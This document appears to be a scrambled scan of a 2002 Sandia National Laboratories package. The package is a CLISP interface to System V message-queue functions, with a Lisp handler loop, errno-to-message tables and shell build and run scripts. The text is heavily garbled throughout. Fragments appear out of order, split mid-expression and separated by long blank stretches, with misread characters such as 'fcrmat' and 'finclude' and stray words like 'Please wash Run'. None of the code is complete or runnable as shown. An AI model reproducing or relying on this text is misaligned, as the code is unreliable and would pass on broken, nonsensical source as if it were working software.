                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             Name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     RFS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         Srmount error" (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             Bad message"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Communication
                                                      Streams pipe error
                                                                        command))))))
                                                                                                              Interrupted
                                                                                                                                  command))))))
                                                                                                                                                                          Invalid or
                                                                                                                                                                                                                                Cannot
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         Protocol
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 not access a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     specific
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   descriptor
                                                                                                                                                                                                                                exec
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           unique
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             attempted"
                                                                                                                                                                                                                                                                                                                                                                                                      a corrupted
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   large
                                                                                                                                                                                                                                                                                          ដ
                                                                                                                                                                        incomplete
                                                                                                                system
                                                                                                                                                                                                                                                                                                                                                  in
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error"
                                                                                                                                                                                                                                                                                          link
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ij
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (string-
                                                                                                                                                                                                                                                                                                                                                  a.out
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   needed
                                                                                                                                                                                                                                                                                          'n
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9
                                                                                                                                                                                                                                                                                                                                                                                                                                            supported protocol"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    supported" (string-
downcase (fcrmat ni)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    supported" (string-downcase (format mi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     socket" (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             downcase (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               downcase
                                                      peer" (string-
                                                                                                              connection abort"
                                                                                                                                                                        connection because of
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (format
 available"
                                                                                           (string-downcase (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                             (string-downcase (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                  address
                                                                                                                                                                                                                                                                                                                                                                                        (format
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (string-downcase
                                                                                                                                                                                                             (format nil "~:A" command)))))
                                                                                                                                                                                                                             (string-downcase
                                                                                                                                                                                                                                                                      (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                        (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                       string-downcase
                                                                                                                                                   (string-downcase (format nil "~: A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                    nil ",~: A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           nil "~: A" command)))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ((= x - 91)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (fcrmat nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ((= x - 93))
                                                                                                                                                                                         ((= x -102) (return (format nil "~A: Network
                                                                                                                                                                                                                                                                                                                                                                                                                           ( (= x - 98) 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 γģ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (= x - 95)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ((= x - 92)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ((= x - 90))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ((= x - 89))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ((= x - 87)
                                     (format nil
                                                                                                                               ((=/x -103) (return (format nil "~A: Software caused
                                                                                                                                                                                                                                                  ((= x -101) (return (format nil "~A: Network is unreachable"
                                                                                                                                                                                                                                                                                                           (= x - 100)
                                                                                                                                                                                                                                                                                                                                                                    ((= x - 99))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (= x - 97)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (= x - 96)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (= x - 94)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (string-
                                                                          ((= x - 104)
                                                                                                                                                                                                                                                                                                                                                                                                                           (string-downcase (format nil "~:A" command))))))
(= x -98) (return (format nil "~A: Address already
                  (= x - 105)
(string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (return (format nil "~A: Protocol
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "~:A" command))))))
                                  "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                 (return (format nil "~A: Cannot assign requested
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "~: A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 (return (format nil "~A: Message too long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (return (format nil "~A: Too many users" (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (return (format nil "~A: Address family
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (return (format
                                                                          (return (format nil "~A: Connection reset
                                                                                                                                                                                                                                                                                                           (return (format nil "-A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (return (format nil "~A:
                (return (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                .~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "~A: Protocol
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "~A: Protocol wrong
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "~A:
                  .~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Destination
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Socket operation on
                  ö
                                                                                                                                                                                                                                                                                                            Network is
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Protocol family not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Operation
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             Socket type
                  buffer space
                                                                                                                                                                                         dropped
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     not supported
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           address
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      supported,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 available'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       type
                                                                                                                                                                                                                                                                                                                                                                                                                             in use"
                                                                        Ã
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   non-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         for
```

Please

wash

Run

```
nil "~: A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Recovered."
                         B="brain.lisp";
                                                                                                                                                                                                                                                                                        string)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (string-downcase (format
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              downcase (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Recovered. * (string-downcase
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      fault!
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (format nil "~:A" command))))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (defun car-string (string)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (defun first-string (list)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (qinit)
                                                                                                       // # File brain-null
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (defun stubbrain () (progn (qinit) (loop
                                                                                                                                                       (defun brain () (progn (qinit) (loop (handler))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (defun cdr-string (string)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 g
d
                                                  then if test brain.lisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (prog
                                                                                                                                                                                                                                                                                                                                                                                                                                                          (prog ()
B="brain.lisp";fi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (if (atom x) (if (null x)
                                                                                                                                                                                                                                                                                                                                              (string-left-trim "()" element)
                                                                                                                                                                                                                                                                                                                                                                        (if (equal element nil) (return nil))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (return element)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (setq element (string-left-trim "()" (first-string list)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (setq list (coerce string 'list))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (equal (car
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ((x list (cdr x)) (res nil (format nil "~:A~:A" res (car x))))
                                                                                                                                                                                                                                                                   (return rest)
                                                                                                                                                                                                                                                                                                                 (setq rest (string-left-trim " "
                                                                                                                                                                                                                                                                                                                                                                                                     (setq element (first-string list))
                                                                                                                                                                                                                                                                                                                                                                                                                            (setq list (coerce string 'list))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ((= x -141) (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ((= x -140) (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ((= x -142) (return (format nil "~A: Kernel panic!
                                                                           brain.fas
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (string-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (return (format nil "~A:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                x) '#\Space) res)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (return nil))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (return res)
                                                    -ot brain.fas; then B="brain.fas"; else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (format nil
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ---DEFAULT RESPONSE-
                                                                                                                                                                                                                                                                                                                     (string-left-trim element
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Operation not
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "~: A"
                                                                                                                              (gget)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 General protection
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PC load letter."
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              command))))))
                                                                                                                            (qsnd 0 "ok"))))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                permitted.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               echo "$B"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              B="brain.lisp"; fi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if test -f $1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          extern int (qinit)();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        object module__call_qfunc__object_tab[1];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 subr_initdata module__call_qfunc_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        uintC module__call_qfunc__subr_tab_size = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        subr_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               extern object module__call_qfunc__object_tab[];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if test -f $1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                echo "$B"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                else B="brain.lisp";fi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if test -f brain.fas
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // # File brain-run
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     \"$1\")"
                                                                                                                                                                                                                                                                                                                                              void module__call_qfunc__init_function_2(module)
                                                                                                                                                                                                                                                                                                                                                                                                                                 void module__call_qfunc_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 extern
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   uintC module__call_qfunc_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             object_initdata module__call_qfunc__object_tab_initdata[1];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include "clisp.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // # File call-qfunc.c
                                                                             By Chris Muelder
                                                                                                       Copyright - Sandia National Laboratories 2002
                                                                                                                                // # File call-qfunc.lisp
                           DEFPACKAGE
                                                  Lisp interface to qfunc.c
IN-PACKAGE "QLISP")
                                                                                                                                                                                                                                                                                                                                                                                                     var module_* module;
                                                                                                                                                                                                                                                                                                                   var module_* module;
                                                                                                                                                                                                                                                              register_foreign_function(&qinit, "qinit", 1024);
                                                                                                                                                                                                          register_foreign_function(&qsnd, "qsnd", 1024);
                                                                                                                                                                                                                                   register_foreign_function(&gget, "gget", 1024);
                                                                                                                                                                                   register_foreign_function(&qdestroy, "qdestroy",1024);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              echo "# No such file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         echo "# No such
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       then if test brain.lisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   -q -M /usr/local/lib/clisp/base/qlisp/lispinit.mem \
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /usr/local/lib/clisp/base/qlisp/lisp.run -B /usr/local/lib/clisp \
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /usr/local/lib/clisp/base/qlisp/lisp.run -B /usr/local/lib/clisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    -q -M /usr/local/lib/clisp/base/qlisp/lispinit.mem
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  module__call_qfunc__subr_tab[1];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               char* (qget)();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         call-qfunc -i $B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            call-qfunc -i $B -x "(in-package \"QLISP\") (stubbrain
                                                                                                                                                                                                                                                                                                                                                                                                                                                        (qdestroy)();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (qsnd)();
                         "QLISP" (:use "LISP" "FFI"))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         file as
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                as
                                                                                                                                                                                                                                                                                                                                                                                                                               _init_function_1 (module)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     _object_tab_size =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       -x "(in-package \"QLISP\") (brain \"$1\")"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       -ot
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       brain.fas; then B="brain.fas"; else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             __subr_tab_initdata(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     0
```

```
struct msgbuf qmsg;
char buff[_MSG_SIZE_];
   IPC_CREAT); return(qid);)
                       int qinit(){qid=msgget((key_t) (12345), 0777 |
                                                                                             int32_t qid=-1;
                                                                                                                                                                                                                                                                                                                                                                                                  #include<sys/ipc.h>
                                                                                                                                                                                                                                                                                                                                                                                                                     #include<sys/types.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    call-qfunc.fas"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      echo "Run with ${base}/qlisp/lisp.run -M ${base}/qlisp/lispinit.mem
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ${base}/qlisp/lispinit.mem -q -i call-qfunc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                echo "(compile-file \"brain.lisp\")" | ${base}/qlisp.run
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              qfunc -c brain.lisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ${base}/qlisp/lisp.run -q -M ${base}/qlisp/lispinit.mem
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ${base}/qlisp/lispinit.mem -i call-qfunc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            echo "(exit)" | ${base}/qlisp/lisp.run -q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ${base}/qlisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ${base}/lisp.run -M ${base}/lispinit.mem -q -c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cc -0 -c qfunc.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               rm -rf call-qfunc.c call-qfunc.o call-qfunc.lisp.fas qlisp.lib qlisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -rf ${base}/qlisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    base=/usr/local/lib/clisp/base;export base
                                                                                                                                                                                                                                                                                                                                                                       #include<sys/msg.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             cp -f ../thingtofix link.sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cd qlisp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               qlispout
                                                                                                                                                                                                             struct msgbuf
                                                                                                                                                                                                                                                                                                                                                                                                                                             #include<stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // # File gfunc.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              type int))
                                                                                                                                                                                                                                   #define _MSG_SIZE_
                                                                                                                                                                                                                                                                                                                                 #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /usr/local/lib/clisp/clisp-link create-module-set qlisp call-qfunc.c
                                                                                                                                                                                                                                                                                    /* #define
                                                                                                                                                                                                                                                                                                       #include <unistd.h>
                                                                                                                                                                                                                                                                                                                                                    finclude <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Functions to generate and destroy
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* Copyright - Sandia National Laboratories 2002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         usr/local/lib/clisp/clisp-link add-module-set qlisp ${base}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  // # File maker
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (def-c-call-out qdestroy (:return-type int))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (def-c-call-out qsnd
